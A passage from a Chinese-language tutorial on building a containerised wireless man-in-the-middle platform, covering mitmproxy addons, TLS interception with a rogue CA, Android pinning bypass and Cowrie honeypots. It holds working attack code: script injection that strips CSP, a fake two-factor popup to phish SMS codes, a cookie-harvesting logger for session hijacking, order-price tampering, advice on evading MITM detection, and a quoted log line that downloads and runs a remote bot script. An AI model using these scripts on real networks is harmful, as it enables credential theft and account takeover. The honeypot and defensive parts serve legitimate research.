该机制的优势在于保留了原始目的 IP 和端口信息,使得 mitmproxy 可准确还原请求上下文,并支持 SNI 解析以判断 HTTPS 域名。相比传统的 DNAT/SNAT 方案, TPROXY 更加灵活且兼容性强,特别适用于多宿主或多网卡环境。
参数说明与注意事项:
--on-port:指定本地监听端口号,必须与mitmproxy --mode transparent启动参数一致。--tproxy-mark:标记值用于隔离不同类型的透明代理流量,防止与其他服务冲突。lo接口绑定:TPROXY要求目标进程绑定到0.0.0.0或特定 IP,且需具备 CAP_NET_ADMIN 权限。- 防火墙策略:确保 SELinux/AppArmor 不阻止
mitmproxy访问 raw socket。
4.1.3 Web UI界面与脚本扩展接口(mitmaddon)调用方式
mitmproxy 提供两种图形化前端:基于终端的 mitmproxy 和基于浏览器的 mitmweb 。后者更适合远程协作与持续监控,可通过以下命令启动:
mitmweb --mode transparent --showhost --listen-port 8080 --web-host 0.0.0.0 --web-port 8081
参数解释 :
---mode transparent:启用透明代理模式;
---showhost:在界面中显示原始主机名而非 IP;
---listen-port 8080:代理服务监听端口;
---web-host 0.0.0.0:允许外部访问 Web 控制台;
---web-port 8081:Web UI 运行端口。
访问 http://<gateway-ip>:8081 即可进入可视化界面,实时查看请求列表、响应状态码、响应时间、Cookie 信息等元数据,并支持搜索、过滤与导出。
更进一步, mitmproxy 提供了强大的 Python 插件系统(称为 addons),开发者可通过编写 .py 脚本来干预流量生命周期中的任意阶段。插件通过注册事件钩子(event hooks)来响应 request , response , next_layer 等事件。
示例插件:自动注入 JavaScript 脚本
from mitmproxy import http
def response(flow: http.HTTPFlow) -> None:
if flow.response.headers.get("Content-Type", "").startswith("text/html"):
# 修改 HTML 内容,插入恶意 JS
content = flow.response.get_text()
payload = '<script>alert("MITM Injected!");</script>'
if "</body>" in content:
content = content.replace("</body>", payload + "</body>")
else:
content += payload
flow.response.set_text(content)
# 移除 CSP 头部以绕过内容安全策略
if "content-security-policy" in flow.response.headers:
del flow.response.headers["content-security-policy"]
逻辑分析 :
1. 使用response()函数监听每个响应对象;
2. 判断响应类型是否为 HTML;
3. 获取文本内容并通过字符串替换插入<script>标签;
4. 若存在 CSP 头部则删除,防止脚本执行被阻止;
5. 更新响应体并保持其他头部不变。
此脚本可保存为 inject.py 并通过命令加载:
mitmdump -s inject.py --mode transparent
插件机制极大增强了 mitmproxy 的自动化能力,可用于实现敏感词检测、会话克隆、API 模拟等复杂任务,将在 4.3 节详细展开。
4.2 请求响应篡改与会话劫持技术
在获得完整的流量可视能力之后,下一步便是主动干预通信过程,实施更具侵略性的攻击手段。 mitmproxy 提供了丰富的 API 接口,允许在请求发送前、响应返回前等多个时机插入自定义逻辑,进而实现诸如页面内容篡改、身份冒用、接口调用伪造等高级攻击。
4.2.1 动态替换网页内容(HTML注入与JS劫持)
网页内容篡改是最直观的 MITM 应用之一,可用于展示虚假信息、植入跟踪脚本或诱导用户泄露凭证。借助 mitmproxy 的响应拦截功能,可在不影响原站功能的前提下,精准注入 HTML 片段或 JavaScript 代码。
考虑如下场景:某公司员工连接测试 Wi-Fi 后访问内部 OA 系统,攻击者可利用透明代理在登录页中插入伪造的“双因素认证”弹窗,诱导用户输入短信验证码。
实现方式如下:
def response(flow):
if "login.corp.com" in flow.request.pretty_host:
if flow.response.status_code == 200:
html = flow.response.get_text()
malicious_js = '''
<script>
setTimeout(() => {
const modal = document.createElement('div');
modal.innerHTML = `
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.7);z-index:9999;display:flex;align-items:center;justify-content:center;">
<div style="background:white;padding:20px;border-radius:8px;width:300px;text-align:center;">
<h3>安全验证</h3>
<p>请输入收到的手机验证码:</p>
<input type="text" id="otp-code" style="margin:10px;padding:5px;"/>
<button onclick="alert('已提交');">提交</button>
</div>
</div>`;
document.body.appendChild(modal.children[0]);
}, 1000);
</script>
'''
if "<head>" in html:
html = html.replace("<head>", f"<head>{malicious_js}")
flow.response.set_text(html)
逐行分析 :
1. 监听所有响应,筛选来自login.corp.com的流量;
2. 检查状态码为 200,排除错误页面;
3. 提取 HTML 文本;
4. 定义一段延迟 1 秒弹出模态框的 JS 代码;
5. 在<head>标签后注入该脚本;
6. 回写修改后的 HTML 到响应体。
该技术结合 DNS 欺骗(如 dnsmasq 返回虚假 A 记录)可构造完全仿真的钓鱼站点,极具欺骗性。
4.2.2 Cookie窃取与伪造登录状态模拟
HTTP Cookie 是维持用户会话状态的关键凭证。一旦攻击者能读取明文传输的 Cookie(即使 HTTPS 加密,只要 CA 证书已被植入即可解密),便可轻松实现“会话劫持”(Session Hijacking)。
假设目标网站未启用 HttpOnly 或 Secure 属性,可通过以下插件提取所有 Cookie 并记录到日志文件:
import datetime
def request(flow):
if "api.socialmedia.com" in flow.request.pretty_host:
cookies = flow.request.headers.get("Cookie", "")
if cookies:
with open("/data/cookies.log", "a") as f:
f.write(f"[{datetime.datetime.now()}] {flow.client_conn.address[0]} -> "
f"{flow.request.pretty_url}\nCookies: {cookies}\n\n")
参数说明 :
-flow.client_conn.address[0]:获取客户端源 IP;
-pretty_url:完整 URL(含协议和域名);
- 日志路径/data/cookies.log需挂载持久化卷以防止容器重启丢失。
随后,攻击者可在另一台机器上使用浏览器扩展(如 EditThisCookie)手动导入 Cookie,直接以受害者身份登录账户,完成横向移动。
4.2.3 API接口调用拦截与参数篡改实验
现代 Web 应用大量依赖 RESTful API 进行前后端交互,这些接口往往缺乏足够的认证强度。通过拦截 JSON 请求并修改关键字段,可实现越权操作。
例如,电商平台 API 接口 /api/order/create 接收如下 POST 数据:
{
"product_id": "1001",
"quantity": 1,
"price": 999,
"user_id": "U12345"
}
若后端仅依赖前端传参校验价格,攻击者可在代理层将其改为 0.01 :
import json
def request(flow):
if flow.request.method == "POST" and "/api/order/create" in flow.request.path:
try:
data = json.loads(flow.request.get_text())
if data.get("price") > 0:
data["price"] = 0.01
flow.request.set_text(json.dumps(data))
except:
pass
执行逻辑 :
1. 拦截 POST 请求;
2. 解析 JSON 主体;
3. 修改price字段;
4. 序列化回请求体。
此类攻击揭示了“客户端不可信”的基本原则,强调服务端必须重新验证所有关键参数。
4.3 自定义脚本开发与自动化处理
为了提升攻击效率,必须将重复性操作脚本化。 mitmproxy 的 addon 框架基于事件驱动模型,支持异步处理与模块化设计,非常适合构建自动化渗透流水线。
4.3.1 使用Python编写mitmproxy插件逻辑
每一个 mitmproxy 插件本质上是一个包含事件回调函数的 Python 模块。框架会在相应事件触发时自动调用这些函数。
基本模板如下:
from mitmproxy import ctx
class TrafficLogger:
def __init__(self):
self.count = 0
def request(self, flow):
self.count += 1
ctx.log.info(f"Request #{self.count}: {flow.request.method} {flow.request.url}")
def response(self, flow):
if flow.response.status_code >= 400:
ctx.log.error(f"Error response: {flow.response.status_code}")
addons = [TrafficLogger()]
addons列表注册了插件实例,ctx.log提供日志输出功能。
4.3.2 实现敏感关键词检测与告警触发机制
可用于检测用户是否输入银行卡号、身份证等敏感信息:
import re
PATTERNS = {
"ID_CARD": r"\b\d{17}[\dX]\b",
"CREDIT_CARD": r"\b(?:\d{4}-){3}\d{4}|\b\d{16}\b"
}
def request(flow):
body = flow.request.get_text().upper()
for name, pattern in PATTERNS.items():
if re.search(pattern, body):
ctx.log.alert(f"[ALERT] Possible {name} detected from {flow.client_conn.address[0]}")
# 可集成 webhook 发送告警
4.3.3 批量导出流量数据用于后续分析(JSON、HAR格式)
使用 --save-stream-file 参数可将流量持续写入文件:
mitmdump --mode transparent -w /logs/dump.mitm
导出为 HAR 格式便于导入 Chrome DevTools:
from mitmproxy import io, http
from pathlib import Path
class HarExporter:
def done(self):
with open("/output/har.json", "w") as f:
f.write(http.flow_to_har([f for f in flows if f.live == False]))
综上, mitmproxy 不仅是一个抓包工具,更是构建智能 MITM 系统的核心引擎,配合 Docker、hostapd 等组件,可形成完整的无线中间人攻击闭环。
5. SSL/TLS解密技术在MITM中的应用
随着现代网络通信普遍采用加密协议(如TLS 1.2、TLS 1.3)来保障数据传输的安全性,传统的明文流量监听手段已无法满足中间人攻击(MITM)场景下的深度分析需求。然而,在合法授权的渗透测试、企业级监控或安全研究环境中,对加密流量进行可控解密仍具有重要意义。本章节深入探讨如何在Docker容器化MITM平台中集成SSL/TLS解密能力,重点解析证书信任链构建、私钥协商机制绕过、以及基于 mitmproxy 与自定义CA的透明代理方案实现路径。
5.1 SSL/TLS协议栈分析与解密可行性研究
要实现对HTTPS等加密流量的有效拦截与解密,首先必须理解其底层协议交互过程及安全边界所在。SSL/TLS并非完全不可突破的“黑箱”,其安全性依赖于公钥基础设施(PKI)的信任模型和密钥交换算法强度。而在受控环境下,攻击者可通过植入可信根证书的方式,使客户端接受伪造服务器身份,从而建立双层加密隧道完成解密重放。
5.1.1 TLS握手流程与密钥生成机制解析
TLS连接建立的核心是握手阶段,该过程涉及身份认证、密钥协商和会话加密参数协商。以TLS 1.2为例,典型握手流程如下:
sequenceDiagram
participant Client
participant Server
participant MITM
Client->>MITM: ClientHello (支持的Cipher Suites, Random)
MITM->>Server: ClientHello (转发或修改)
Server->>MITM: ServerHello + Certificate + ServerKeyExchange
MITM->>Client: ServerHello + 自签证书 (由MITM CA签发)
Client->>MITM: ClientKeyExchange + ChangeCipherSpec + Finished
MITM->>Server: ClientKeyExchange + ChangeCipherSpec + Finished
MITM->>Client: Application Data (解密后重新加密发送)
Server->>MITM: Application Data
MITM->>Client: 解密并记录后再加密转发
上述流程展示了MITM如何在不破坏原始通信语义的前提下插入自身节点。关键点在于:
- MITM作为代理,分别与客户端和服务器建立独立TLS会话;
- 对客户端而言,MITM伪装成真实服务器,使用由本地安装的 自定义CA 签发的证书;
- 对服务器而言,MITM表现为普通客户端,使用标准TLS连接发起请求;
- 所有应用层数据均在MITM节点上被明文处理,具备篡改与日志记录能力。
密钥材料生成逻辑
在RSA密钥交换模式下,客户端生成预主密钥(Pre-Master Secret),用服务器证书中的公钥加密后发送。若MITM持有伪造证书对应的私钥,则可解密获得该值,并结合双方随机数计算出主密钥(Master Secret)。即使在ECDHE等前向安全模式中,MITM也可通过模拟完整私钥运算实现相同效果——前提是它能提供有效的私钥响应。
5.1.2 中间人解密的技术前提与信任链控制
实现SSL解密的前提条件包括:
| 条件 | 描述 |
|---|---|
| 客户端信任自定义CA | 必须将MITM的根证书导入目标设备的受信任根证书存储区 |
| DNS/流量重定向机制就绪 | 需配合iptables TPROXY或DNS劫持将流量导向代理节点 |
| 支持SNI识别与动态证书签发 | 代理需根据ClientHello中的SNI字段实时生成对应域名的证书 |
| 协议兼容性处理 | 支持主流TLS版本(1.0~1.3)、各类Cipher Suite |
其中最关键的环节是 证书信任链的建立 。大多数操作系统和浏览器遵循X.509证书验证规则,若签名CA未被列入信任列表,则会弹出严重警告甚至阻断连接。因此,在实战部署中必须确保以下操作已完成:
1. 使用OpenSSL或 certutil 工具生成高强度RSA/ECC根CA;
2. 将CA证书导出为 .crt 或 .pem 格式;
3. 在目标设备(如手机、PC、IoT终端)上手动或自动化安装该证书;
4. 设置系统级信任策略(例如Android需置于“用户证书”目录);
一旦信任链建立成功,MITM即可无缝介入HTTPS通信,且不会触发任何安全警报。
5.1.3 加密算法识别与降级攻击防御规避
尽管现代TLS配置广泛启用强加密套件(如AES-GCM、ChaCha20-Poly1305),但部分老旧客户端仍可能协商弱加密算法(如RC4、DES)。MITM代理可通过主动干预ClientHello内容实施 加密套件操纵 ,诱导使用更易处理的算法组合。
以下是常见Cipher Suite命名规范示例:
| Cipher Name | 密钥交换 | 认证方式 | 加密算法 | MAC算法 |
|---|---|---|---|---|
TLS_RSA_WITH_AES_128_CBC_SHA |
RSA | RSA | AES-128-CBC | SHA-1 |
TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 |
ECDHE | RSA | AES-256-GCM | AEAD |
TLS_CHACHA20_POLY1305_SHA256 |
ECDHE | ECDSA/RSA | ChaCha20 | AEAD |
在实际操作中,建议保留高安全性套件以避免引起怀疑,同时禁用已知漏洞算法(如EXPORT级、NULL加密)。此外,应监测是否存在HSTS(HTTP Strict Transport Security)头字段,防止因强制跳转导致重定向失败。
5.1.4 浏览器指纹检测与反检测策略
高级客户端(如Chrome、Firefox)内置了多种MITM检测机制,包括:
- CT(Certificate Transparency)日志比对;
- HPKP(HTTP Public Key Pinning)历史绑定检查(虽已弃用);
- OCSP Stapling验证异常证书状态;
- TLS扩展行为异常分析(如不一致的ALPN顺序);
为规避这些检测,MITM系统应做到:
- 模拟正常CA签发行为,避免使用自定义OID或非常规扩展;
- 启用OCSP模拟响应服务,返回“good”状态码;
- 复制原始服务器的TLS扩展顺序(如supported_groups、key_share等);
- 使用合法组织名称签署证书,增强可信度;
通过精细化模仿真实TLS行为特征,可显著降低被识别风险。
5.1.5 实验环境准备:创建自签名CA与证书模板
在开始部署之前,需先构建用于签发中间证书的根CA。以下命令使用OpenSSL生成一个有效期5年的RSA 4096位根证书:
# 生成私钥
openssl genrsa -out ca.key 4096
# 创建自签名根证书
openssl req -new -x509 -days 1825 \
-key ca.key \
-subj "/C=CN/ST=Beijing/L=Haidian/O=MITM Lab/CN=MITM Root CA" \
-sha256 -out ca.crt
参数说明:
- -genrsa : 生成RSA私钥;
- -out ca.key : 输出私钥文件;
- -req -x509 : 创建自签名X.509证书;
- -days 1825 : 设定有效期为5年;
- -subj : 指定DN(Distinguished Name)信息;
- -sha256 : 使用SHA-256摘要算法提升安全性;
此证书将作为后续所有动态生成服务器证书的签发机构。为提高效率,可在 mitmproxy 启动时通过 --certs 参数批量预生成常用域名证书:
mitmdump --mode transparent --certs "*.google.com=ca.pem" -v
此处 ca.pem 为包含 ca.crt 和 ca.key 合并内容的PEM文件,允许 mitmproxy 按需签发通配符证书。
5.1.6 性能影响评估与资源开销优化
SSL解密属于CPU密集型任务,尤其在大规模并发连接场景下会对代理性能造成显著压力。实测数据显示,在Intel i7-11800H平台上,单线程 mitmproxy 每秒最多处理约800个TLS握手(RSA 2048),而启用ECDSA后性能提升约40%。
为优化性能,建议采取以下措施:
- 使用ECC证书替代RSA,减少密钥运算负担;
- 开启TLS会话复用(Session Tickets / IDs)缓存;
- 部署多实例负载均衡,结合 nginx 或 HAProxy 分发流量;
- 利用硬件加速模块(如Intel QAT)卸载加密计算;
最终目标是在保证解密能力的同时,将延迟增加控制在<50ms以内,不影响用户体验感知。
5.2 基于mitmproxy的透明SSL解密代理部署
mitmproxy 作为Python编写的高性能HTTP(S)代理框架,原生支持透明代理模式下的TLS解密功能,非常适合集成到Docker化的MITM路由器架构中。本节详细讲解如何配置 mitmproxy 实现全自动证书签发、流量重定向与日志留存。
5.2.1 透明代理模式原理与iptables规则配置
透明代理的核心思想是让流量在不修改客户端设置的情况下自动经过代理进程。这需要结合Netfilter的TPROXY目标与路由策略完成。
网络拓扑结构
假设网络结构如下:
- AP容器提供无线接入( br-mitm 网桥)
- Gateway容器运行NAT与iptables规则
- Proxy容器运行 mitmproxy
所有客户端流量经由网关路由至代理端口(如8080),由 mitmproxy 接管处理。
iptables规则集配置
# 启用IP转发
sysctl -w net.ipv4.ip_forward=1
# PREROUTING链捕获目标为外部IP的80/443流量
iptables -t mangle -A PREROUTING -p tcp --dport 80 -j TPROXY --tproxy-mark 0x1/0x1 --on-port 8080
iptables -t mangle -A PREROUTING -p tcp --dport 443 -j TPROXY --tproxy-mark 0x1/0x1 --on-port 8080
# 路由表标记匹配流量进入代理处理
ip rule add fwmark 0x1 lookup 100
ip route add local default dev lo table 100
逻辑分析:
- TPROXY 允许非本地绑定端口接收非SYN包,适用于透明代理;
- --tproxy-mark 用于标记流量以便后续路由决策;
- ip rule 创建独立路由表100,将标记流量导向 lo 接口;
- mitmproxy 需绑定 127.0.0.1:8080 并启用 --mode transparent ;
只有当代理程序正确绑定到 SO_ORIGINAL_DST 可用的地址时,才能获取原始目标地址并建立上游连接。
5.2.2 mitmproxy启动参数详解与证书注入
完整的启动命令如下:
mitmdump \
--mode transparent \
--showhost \
--ssl-insecure \
--set block_global=false \
--cadir ./mitm_ca \
--certs "*.example.com" \
-s "modify_response.py" \
-v
参数说明:
- --mode transparent : 启用透明代理模式;
- --showhost : 日志中显示原始Host头而非IP;
- --ssl-insecure : 忽略上游证书验证错误(谨慎使用);
- --block_global=false : 允许访问公网地址;
- --cadir : 指定CA证书目录,自动加载或生成;
- --certs : 预生成特定域名的证书;
- -s : 加载自定义Python脚本扩展功能;
- -v : 多级日志输出,便于调试;
首次运行时, mitmproxy 会在 --cadir 目录下生成 mitmproxy-ca.pem 和 mitmproxy-ca-cert.pem ,前者含私钥可用于签发新证书,后者为公钥证书供客户端安装。
5.2.3 动态证书生成机制与SNI解析
当客户端发起HTTPS请求时,其 ClientHello 消息中携带SNI(Server Name Indication)扩展字段,指示期望访问的主机名。 mitmproxy 通过解析该字段动态生成对应域名的伪造证书。
证书生成流程如下:
from OpenSSL import crypto
def generate_fake_cert(ca_cert, ca_key, domain):
cert = crypto.X509()
cert.set_serial_number(1001)
cert.gmtime_adj_notBefore(0)
cert.gmtime_adj_notAfter(365 * 24 * 60 * 60) # 1年
cert.set_issuer(ca_cert.get_subject())
cert.get_subject().CN = domain
cert.set_pubkey(ca_key.public_key()) # 实际为客户端提供的公钥
cert.sign(ca_key, 'sha256')
return cert
逐行解读:
- X509() 初始化新证书对象;
- set_serial_number 设置唯一序列号;
- gmtime_adj_notBefore/After 定义有效时间区间;
- set_issuer 绑定签发者为MITM CA;
- get_subject().CN 设置通用名为请求域名;
- set_pubkey 使用客户端协商的公钥;
- sign 使用CA私钥签名完成签发;
该过程毫秒级完成,用户无感知。
5.2.4 日志输出与HAR格式导出实践
为便于后期分析,可编写插件自动保存流量为HAR(HTTP Archive)格式:
# save_har.py
import json
from mitmproxy import http, ctx
har_entries = []
def response(flow: http.HTTPFlow):
entry = {
"request": {
"method": flow.request.method,
"url": flow.request.url,
"headers": dict(flow.request.headers)
},
"response": {
"status": flow.response.status_code,
"body_size": len(flow.response.content),
"headers": dict(flow.response.headers)
}
}
har_entries.append(entry)
def done():
with open("/data/traffic.har", "w") as f:
json.dump({"log": {"entries": har_entries}}, f, indent=2)
执行逻辑:
- response() 钩子在每次收到响应时触发;
- 提取关键字段构建成HAR条目;
- done() 在代理退出时统一写入文件;
- 可配合 cron 定期归档压缩;
此类结构化数据可用于合规审计、行为建模或威胁情报提取。
5.3 高级应用场景:移动设备监控与API逆向工程
在企业红队演练或App安全评估中,常需对移动端加密流量进行深度剖析。由于多数App采用证书锁定(Certificate Pinning)技术,传统MITM面临挑战。本节介绍几种突破限制的方法。
5.3.1 Android App证书锁定绕过技术
许多Android应用通过OkHttp、Retrofit等库实现SSL Pinning,典型代码如下:
OkHttpClient client = new OkHttpClient.Builder()
.certificatePinner(new CertificatePinner.Builder()
.add("api.example.com", "sha256/AAAAAAAA...")
.build())
.build();
应对策略包括:
- 使用Frida注入JavaScript脚本,Hook CertificatePinner.check() 方法;
- 修改APK Smali代码,删除相关校验逻辑;
- 使用Magisk模块(如JustTrustMe)全局禁用验证;
示例Frida脚本片段:
Java.perform(function () {
var CertificatePinner = Java.use("okhttp3.CertificatePinner");
CertificatePinner.check.overloads.forEach(function (o) {
o.implementation = function () {
console.log("[*] Bypassing Certificate Pinning");
return;
};
});
});
该脚本在运行时替换 check 函数为空实现,彻底绕过锁定机制。
5.3.2 iOS设备抓包配置(越狱与非越狱)
对于iOS设备,推荐使用Burp Suite配合Charles Proxy进行抓包。基本步骤如下:
1. iPhone连接同一Wi-Fi网络;
2. 设置HTTP代理指向MITM网关IP及端口;
3. Safari访问 chls.pro/ssl 下载并安装证书;
4. 进入「设置 > 通用 > 关于本机 > 证书信任设置」启用完全信任;
注意:iOS 13+要求手动开启“完全信任”选项,否则仍会拒绝连接。
5.3.3 WebSocket与gRPC流量解密尝试
除传统REST API外,越来越多服务采用WebSocket或gRPC(基于HTTP/2)。 mitmproxy 从v8版本起支持WebSocket解密:
def websocket_message(flow):
msg = flow.messages[-1]
print(f"WS Message: {msg.content.decode()}")
if "password" in msg.content.decode():
msg.drop = True # 屏蔽敏感消息
而对于gRPC,因其采用Protobuf编码且常启用mTLS,需额外工具如 grpcui 或 ghz 辅助解析。建议结合静态反编译获取 .proto 定义文件后再进行语义还原。
6. Honeypot诱捕机制集成与安全研究扩展
在现代网络安全攻防对抗中,传统的被动防御手段已难以应对日益复杂的攻击模式。攻击者往往具备高度隐蔽性、自动化工具链和持久化渗透能力,使得仅依赖防火墙、入侵检测系统(IDS)等静态防护机制存在明显滞后性。为此,主动防御理念逐渐成为前沿安全架构的重要组成部分,而蜜罐(Honeypot)技术正是实现这一理念的核心手段之一。通过构建具有真实服务特征但完全受控的虚假目标系统,蜜罐能够吸引并诱导攻击者暴露其行为轨迹,从而为安全研究人员提供宝贵的攻击情报、攻击路径分析及威胁溯源依据。
更为重要的是,在中间人攻击(MITM)环境中引入蜜罐机制,不仅可以增强测试平台的仿真度与吸引力,还能有效拓展安全研究的边界——从单纯的流量监听向攻击行为建模、攻击指纹识别和自动化响应策略演化。特别是在基于容器化架构搭建的MITM测试平台上,蜜罐可被灵活部署于多个网络节点,形成分布式诱捕网络,实现对不同层级攻击面的全面覆盖。例如,可在网关侧模拟开放SSH、FTP、HTTP管理界面的服务端口;在AP接入层伪造企业级登录门户或IoT设备注册接口;甚至结合DNS劫持技术动态生成“影子域名”引导恶意扫描流量进入蜜罐环境。
本章节将深入探讨如何在 mitm-router 架构下集成Honeypot诱捕机制,涵盖轻量级蜜罐选型、服务伪装配置、日志采集与告警联动设计,并结合Docker容器编排能力实现弹性部署。同时,还将解析蜜罐数据与MITM流量之间的关联分析方法,揭示攻击者在尝试横向移动、权限提升过程中的典型行为模式。最终目标是构建一个集流量拦截、内容篡改、攻击诱捕于一体的综合性安全研究平台,服务于红队演练、威胁情报收集与APT模拟等多种高级应用场景。
6.1 蜜罐技术原理与分类体系
蜜罐本质上是一种欺骗性安全机制,其核心思想是通过设置看似脆弱或有价值的目标系统来引诱攻击者发起探测或入侵行为。与传统防御系统不同,蜜罐并不服务于正常业务逻辑,因此任何与其发生的交互几乎都可以被视为可疑或恶意行为,极大降低了误报率。根据交互程度、部署目的和技术实现方式的不同,蜜罐可分为多种类型,适用于不同的安全需求场景。
6.1.1 低交互蜜罐 vs 高交互蜜罐
低交互蜜罐(Low-Interaction Honeypot)通常只模拟服务的部分协议响应,如TCP三次握手后返回预设Banner,不真正执行后端逻辑。这类蜜罐资源消耗小、易于部署,适合大规模布点用于早期威胁感知。典型的代表包括 Dionaea (模拟SMB、FTP)、 Kippo (SSH模拟器)以及 Cowrie (Kippo的现代化分支)。高交互蜜罐(High-Interaction Honeypot)则运行真实的操作系统和服务进程,允许攻击者进行深层次操作,能捕获更完整的攻击链条,但风险较高,需严格隔离。例如使用完整Linux发行版配合SELinux/AppArmor策略限制实际影响范围。
| 类型 | 交互级别 | 安全风险 | 数据价值 | 典型应用 |
|---|---|---|---|---|
| 低交互蜜罐 | 协议层模拟 | 极低 | 中等 | 扫描监测、IP黑名单生成 |
| 中交互蜜罐 | 有限服务逻辑 | 低 | 较高 | 漏洞利用样本捕获 |
| 高交互蜜罐 | 真实系统访问 | 中高 | 极高 | APT行为分析、后门提取 |
以下是一个基于Python实现的极简HTTP低交互蜜罐示例:
from http.server import BaseHTTPRequestHandler, HTTPServer
class SimpleHoneypotHandler(BaseHTTPRequestHandler):
def do_GET(self):
# 记录请求信息
print(f"[ATTACK] Method: {self.command}, Path: {self.path}")
print(f"Headers:\n{self.headers}")
# 返回伪造的企业登录页面
self.send_response(200)
self.send_header("Content-Type", "text/html")
self.end_headers()
response = """
<html>
<body style="background:#f4f4f4; text-align:center; padding:50px;">
<h2>Internal Admin Portal</h2>
<form action="/login" method="post">
Username: <input type="text" name="user"/><br/>
Password: <input type="password" name="pass"/><br/>
<input type="submit" value="Login"/>
</form>
<p><small>Unauthorized access prohibited.</small></p>
</body>
</html>
"""
self.wfile.write(response.encode())
if __name__ == "__main__":
server = HTTPServer(('0.0.0.0', 80), SimpleHoneypotHandler)
print("Starting low-interaction honeypot on port 80...")
server.serve_forever()
代码逻辑逐行解读:
from http.server import ...:导入Python标准库中的HTTP服务器模块,无需额外依赖。SimpleHoneypotHandler继承自BaseHTTPRequestHandler,重写do_GET方法以处理GET请求。print(...)输出攻击者的请求路径和头部信息,可用于初步日志记录。self.send_response(200)发送HTTP 200状态码,制造服务可用假象。- 设置
Content-Type头部确保浏览器正确渲染HTML内容。 - 构造包含登录表单的HTML响应体,模仿常见后台管理系统界面。
- 主程序启动HTTP服务器绑定到所有接口的80端口,持续监听连接。
该蜜罐虽不具备真正的认证功能,但足以诱使自动化扫描器提交用户名密码字典,进而暴露其攻击载荷格式与来源IP。进一步优化可通过添加POST处理逻辑保存提交数据至本地文件或数据库。
6.1.2 蜜罐在网络拓扑中的部署位置
在MITM测试环境中,蜜罐可部署于多个关键节点,形成纵深防御结构。常见的部署策略包括:
- 边缘蜜罐 :置于无线AP直接对外暴露的服务端口,用于捕捉初始探测行为;
- 内部蜜罐 :位于透明代理之后,模拟内网服务器(如数据库、工控设备),观察是否发生横向移动;
- 跳板蜜罐 :故意暴露弱口令账户,诱导攻击者上传工具或建立反向shell,便于流量追踪。
graph TD
A[Client Device] --> B{Wireless AP}
B --> C[Real Gateway]
B --> D[Honeypot - Fake SSH]
B --> E[Honeypot - Web Login Page]
C --> F[Transparent Proxy (mitmproxy)]
F --> G[Internet]
F --> H[Honeypot - Internal API]
H --> I[(Log Collector & Alert Engine)]
上述流程图展示了蜜罐在整个MITM网络中的分布逻辑。当客户端连接AP后,除正常上网外,还会因端口扫描或错误配置访问到多个虚假服务节点。所有交互均被记录并转发至中央日志中心,便于后续关联分析。
此外,蜜罐还可与DNS欺骗技术结合。例如,在 dnsmasq 配置中添加如下规则:
address=/admin.internal.company.com/192.168.10.100
address=/*.login.secure.net/192.168.10.100
该配置会将所有对特定域名的查询解析到蜜罐主机IP,即使用户输入错误地址也会落入陷阱。此机制特别适用于模拟钓鱼攻击或OAuth回调劫持场景的研究。
综上所述,合理规划蜜罐类型与部署策略,不仅能显著提高攻击可见性,还为构建智能化威胁响应系统奠定基础。
6.2 Cowrie SSH蜜罐集成与行为捕获
在众多开源蜜罐项目中, Cowrie 因其成熟度高、社区活跃、支持SSH与Telnet双协议模拟,且具备丰富的日志输出与插件扩展能力,成为MITM环境中首选的交互式诱捕工具。其设计初衷即为捕获针对公网服务器的暴力破解、蠕虫传播与后门植入行为,非常适合部署于由hostapd构建的无线接入点下游网络中。
6.2.1 Cowrie安装与Docker化部署
推荐采用官方Docker镜像进行快速部署,避免依赖冲突问题。创建专用目录结构如下:
mkdir -p cowrie/data cowrie/logs
cd cowrie
编写 docker-compose.yml 文件以定义服务依赖关系:
version: '3'
services:
cowrie:
image: cowrie/cowrie:latest
container_name: cowrie-honeypot
ports:
- "2222:2222"
volumes:
- ./data:/cowrie/cowrie-git/var/lib/cowrie
- ./logs:/cowrie/cowrie-git/log
environment:
- AUTHENTICATION_LOGIN=root:123456
restart: unless-stopped
参数说明:
- ports : 将宿主机2222端口映射至容器2222,防止与本地SSH冲突;
- volumes : 实现日志与配置持久化,便于事后审计;
- environment.AUTHENTICATION_LOGIN : 预设一组弱凭据用于诱导登录尝试(也可设为多组);
- restart : 保证异常退出后自动重启。
执行命令启动服务:
docker-compose up -d
随后可通过 docker logs cowrie-honeypot 查看实时连接事件。
6.2.2 日志结构解析与攻击行为识别
Cowrie默认生成JSON格式日志,存储于 /log/cowrie.json ,每条记录包含时间戳、源IP、命令序列、文件下载等关键字段。示例如下:
{
"timestamp": "2025-04-05T10:23:14.789Z",
"src_ip": "192.168.10.50",
"protocol": "ssh",
"username": "root",
"password": "password123",
"input": "wget http://malicious.site/bot.sh -O /tmp/bot.sh && chmod +x /tmp/bot.sh && /tmp/bot.sh"
}
此类日志可用于构建自动化告警规则。例如,使用Python脚本监控新日志条目:
import json
from watchdog.observers import Observer
from watchdog.events import FileSystemEventHandler
class LogHandler(FileSystemEventHandler):
def on_modified(self, event):
if "cowrie.json" in event.src_path:
with open(event.src_path, "r") as f:
lines = f.readlines()
for line in lines[-5:]:
data = json.loads(line.strip())
if "wget" in data.get("input", "") or "curl" in data.get("input", ""):
print(f"[ALERT] Malicious download attempt from {data['src_ip']}")
print(f"Command: {data['input']}")
observer = Observer()
observer.schedule(LogHandler(), path="./logs")
observer.start()
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
observer.stop()
observer.join()
该脚本利用 watchdog 库监听日志文件变化,一旦发现包含 wget 或 curl 的命令即触发告警。扩展功能可加入邮件通知、Slack推送或调用SIEM接口。
6.2.3 与MITM流量的交叉验证分析
将Cowrie捕获的行为与 mitmproxy 记录的HTTPS流量进行时间轴比对,可还原完整攻击链。例如:
| 时间 | 事件 | 来源 |
|---|---|---|
| 10:23:10 | 用户连接AP并获取IP | DHCP日志 |
| 10:23:12 | 尝试SSH连接192.168.10.1:2222 | Cowrie日志 |
| 10:23:14 | 成功认证并执行wget命令 | Cowrie输入记录 |
| 10:23:15 | mitmproxy拦截到对该URL的HTTP请求 | 流量日志 |
| 10:23:16 | 下载脚本内容被解密查看 | mitmproxy内容审查 |
sequenceDiagram
participant Attacker
participant AP
participant Cowrie
participant mitmproxy
participant MalwareSite
Attacker->>AP: Connect to WiFi
Attacker->>Cowrie: SSH root@192.168.10.1:2222
Cowrie-->>Attacker: Accept login
Attacker->>Cowrie: Execute wget command
Cowrie->>mitmproxy: Request http://malicious.site/bot.sh
mitmproxy->>MalwareSite: Forward request (with decryption)
MalwareSite-->>mitmproxy: Return payload
mitmproxy-->>Cowrie: Deliver script content
Cowrie->>Attacker: Simulate execution
